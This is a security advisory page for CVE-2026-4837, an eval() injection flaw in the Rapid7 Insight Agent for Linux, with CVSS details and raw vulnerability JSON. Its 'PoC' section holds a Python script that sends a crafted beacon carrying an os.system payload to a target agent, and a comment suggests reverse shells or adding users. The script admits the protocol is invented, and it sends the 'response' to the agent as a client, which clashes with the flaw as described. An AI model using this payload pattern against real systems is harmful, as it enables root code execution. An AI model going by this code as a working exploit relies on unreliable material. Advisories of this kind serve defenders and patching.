Security Vulnerability Report
中文
CVE-2026-4837 CVSS 6.6 MEDIUM

CVE-2026-4837

Published: 2026-04-08 17:21:25
Last Modified: 2026-04-08 21:26:13

Description

An eval() injection vulnerability in the Rapid7 Insight Agent beaconing logic for Linux versions could theoretically allow an attacker to achieve remote code execution as root via a crafted beacon response. Because the Agent uses mutual TLS (mTLS) to verify commands from the Rapid7 Platform, it is unlikely that the eval() function could be exploited remotely without prior, highly privileged access to the backend platform.

CVSS Details

CVSS Score
6.6
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Rapid7 Insight Agent for Linux (Specific versions prior to fix in April 2026 release notes)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ Conceptual PoC for CVE-2026-4837 Note: This requires bypassing mTLS, which is highly restricted. This script demonstrates how a malicious payload might be crafted if one has control over the server response. """ import socket import ssl # Target configuration TARGET_HOST = 'victim-agent.local' TARGET_PORT = 443 # Assuming standard HTTPS/Agent port # Malicious payload to be executed by eval() on the agent # Example: Creating a reverse shell or adding a user PAYLOAD = "__import__('os').system('touch /tmp/pwned')" # Construct the malicious beacon response # The actual protocol structure is proprietary, this represents a hypothetical injection point malicious_response = f'{{"command": "update", "data": "{PAYLOAD}"}}' def send_exploit(): context = ssl.create_default_context() # In a real scenario, the attacker needs the valid client certs to satisfy mTLS # or needs to be in a MitM position with compromised keys. # context.load_cert_chain(certfile="attacker.crt", keyfile="attacker.key") try: with socket.create_connection((TARGET_HOST, TARGET_PORT)) as sock: with context.wrap_socket(sock, server_hostname=TARGET_HOST) as ssock: print(f"[+] Connected to {TARGET_HOST}") # Send the malicious payload ssock.sendall(malicious_response.encode('utf-8')) print("[+] Payload sent. If eval() is vulnerable, code execution occurred.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": print("[!] Warning: This PoC assumes mTLS has been bypassed or keys are compromised.") send_exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4837", "sourceIdentifier": "[email protected]", "published": "2026-04-08T17:21:24.603", "lastModified": "2026-04-08T21:26:13.410", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "An eval() injection vulnerability in the Rapid7 Insight Agent beaconing logic for Linux versions could theoretically allow an attacker to achieve remote code execution as root via a crafted beacon response. Because the Agent uses mutual TLS (mTLS) to verify commands from the Rapid7 Platform, it is unlikely that the eval() function could be exploited remotely without prior, highly privileged access to the backend platform."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.6, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.7, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-95"}]}], "references": [{"url": "https://docs.rapid7.com/insight/release-notes-2026-april/#improvements-and-fixes", "source": "[email protected]"}]}}